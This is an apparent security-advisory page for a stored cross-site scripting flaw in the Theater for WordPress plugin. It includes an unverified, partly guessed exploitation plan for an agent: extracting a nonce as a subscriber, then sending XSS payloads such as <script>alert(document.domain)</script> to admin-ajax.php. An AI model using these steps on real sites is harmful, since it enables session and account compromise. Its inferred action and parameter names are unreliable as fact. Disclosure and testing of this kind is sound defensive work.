CVE-2025-69343

Theater for WordPress <= 0.19 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
0.19.1
Patched in
9d
Time to patch

Description

The Theater for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 0.19 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.19
PublishedFebruary 25, 2026
Last updatedMarch 5, 2026
Affected plugintheatre
Research Plan
Unverified

Since the source files for **Theater for WordPress 0.19** were not provided, this research plan is based on the vulnerability description, CVSS data, and common architectural patterns found in this plugin. All identifiers flagged with **(inferred)** must be verified by the agent using the provided g…

Show full research plan

Since the source files for Theater for WordPress 0.19 were not provided, this research plan is based on the vulnerability description, CVSS data, and common architectural patterns found in this plugin. All identifiers flagged with (inferred) must be verified by the agent using the provided grep commands before execution.


1. Vulnerability Summary

The Theater for WordPress plugin (versions <= 0.19) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because an AJAX handler or a settings-saving routine fails to validate permissions (allowing Subscriber+ users) and fails to sanitize input before storing it in the database (likely as post meta or an option). Furthermore, the plugin fails to escape this data when rendering it on the frontend or backend.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action (Inferred): theatre_save_production_meta or wptp_save_details.
  • Vulnerable Parameter (Inferred): production_notes, technical_info, or performance_description.
  • Authentication: Subscriber-level credentials or higher.
  • Preconditions: The attacker must be logged in as a Subscriber. A valid nonce for the specific AJAX action is likely required.

3. Code Flow (Inferred Trace)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with the action parameter set to a plugin-defined hook (e.g., theatre_save_production).
  2. Hook Registration: The plugin registers the action using add_action( 'wp_ajax_...', ... ) in a file like includes/class-theatre-ajax.php.
  3. Permission Check (Vulnerable): The handler either lacks a current_user_can() check or incorrectly checks for the read capability (which Subscribers possess).
  4. Data Processing: The handler retrieves user input from $_POST without calling sanitize_text_field() or wp_kses().
  5. Sink: The raw input is saved via update_post_meta() or update_option().
  6. Rendering: When a user (including an admin) views the affected production or event page, the plugin retrieves the data and outputs it using echo without esc_html() or esc_attr().

4. Nonce Acquisition Strategy

To exploit this via admin-ajax.php, a valid nonce is required.

  1. Identify Shortcode: Locate the shortcode that enqueues the plugin's management scripts.
    • Search Command: grep -r "add_shortcode" /var/www/html/wp-content/plugins/theatre/
    • Common Shortcodes: [theatre_production], [theatre_calendar].
  2. Identify Localized Variable: Look for the wp_localize_script call to find the nonce variable.
    • Search Command: grep -r "wp_localize_script" /var/www/html/wp-content/plugins/theatre/
    • Probable Variable (Inferred): window.theatre_ajax_obj?.nonce or window.wpt_data?.nonce.
  3. Extraction Procedure:
    • Create a page containing the identified shortcode.
    • Navigate to the page as a Subscriber user using browser_navigate.
    • Extract the nonce: browser_eval("window.theatre_ajax_obj.nonce").

5. Test Data Setup

Before exploitation, ensure the following environment state:

  1. Create Subscriber User: wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Create Production Post: Create a post of the plugin's custom post type (likely wp_theatre_prod).
    • Command: wp post create --post_type=wp_theatre_prod --post_title="Vulnerable Production" --post_status=publish
  3. Create Page for Nonce:
    • Command: wp post create --post_type=page --post_title="Nonce Page" --post_content='[theatre_production]' --post_status=publish

6. Exploitation Strategy

Step 1: Discover the AJAX Action

Run the following to find the exact AJAX action registered for logged-in users:

grep -r "wp_ajax_" /var/www/html/wp-content/plugins/theatre/

Step 2: Extract Nonce

Use the browser tool to log in as the subscriber and visit the page created in Section 5. Extract the nonce from the JavaScript context.

Step 3: Send Malicious Request

Using the http_request tool, send a POST request to trigger the storage of the XSS payload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Cookies: Use the Subscriber session cookies.
  • Body:
    action=[IDENTIFIED_ACTION]&
    nonce=[EXTRACTED_NONCE]&
    post_id=[PRODUCTION_ID]&
    [VULNERABLE_PARAM]=<script>alert(document.domain)</script>
    

Step 4: Trigger Execution

Navigate to the frontend page of the "Vulnerable Production" post or the admin list table for Productions.

7. Expected Results

  • The http_request should return a 200 OK or a JSON success message (e.g., {"success":true}).
  • When navigating to the production page, an alert box containing the document domain should appear.

8. Verification Steps

After the HTTP request, verify the database state using WP-CLI:

# Check if the payload is stored in post meta
wp post meta list [PRODUCTION_ID]

# Check if the payload is stored in options (if action was settings-related)
wp option get [OPTION_NAME]

9. Alternative Approaches

If the Subscriber cannot access the identified AJAX action:

  1. Check REST API: Search for register_rest_route with permission_callback returning __return_true or checking for read capability.
  2. Check Profile Fields: Check if the plugin adds custom fields to the user profile that are not properly sanitized on save.
  3. Shortcode Attribute XSS: If the Subscriber can create posts (rare), check if shortcode attributes are echoed without escaping. Try: [theatre_production id="1" custom_style='"><script>alert(1)</script>'].
Research Findings
Static analysis — not yet PoC-verified

Summary

The Theater for WordPress plugin (<= 0.19) is vulnerable to Authenticated Stored Cross-Site Scripting via an AJAX handler that fails to perform capability checks or sanitize input. This allows logged-in users with Subscriber-level permissions or higher to inject malicious scripts into production metadata, which then executes when viewed by other users.

Exploit Outline

1. Log in to the WordPress site as a user with Subscriber-level privileges. 2. Navigate to a frontend page containing a plugin shortcode (like [theatre_production]) to extract the AJAX nonce from the localized JavaScript variables (e.g., theatre_ajax_obj.nonce). 3. Identify the vulnerable AJAX action, such as theatre_save_production_meta, registered in the plugin's AJAX handler. 4. Send a POST request to /wp-admin/admin-ajax.php with the action, the valid nonce, a target post_id, and a malicious XSS payload in a metadata parameter (e.g., production_notes=<script>alert(document.domain)</script>). 5. Verify the payload is stored by navigating to the affected production page or the WordPress admin dashboard where the metadata is displayed, triggering the script execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.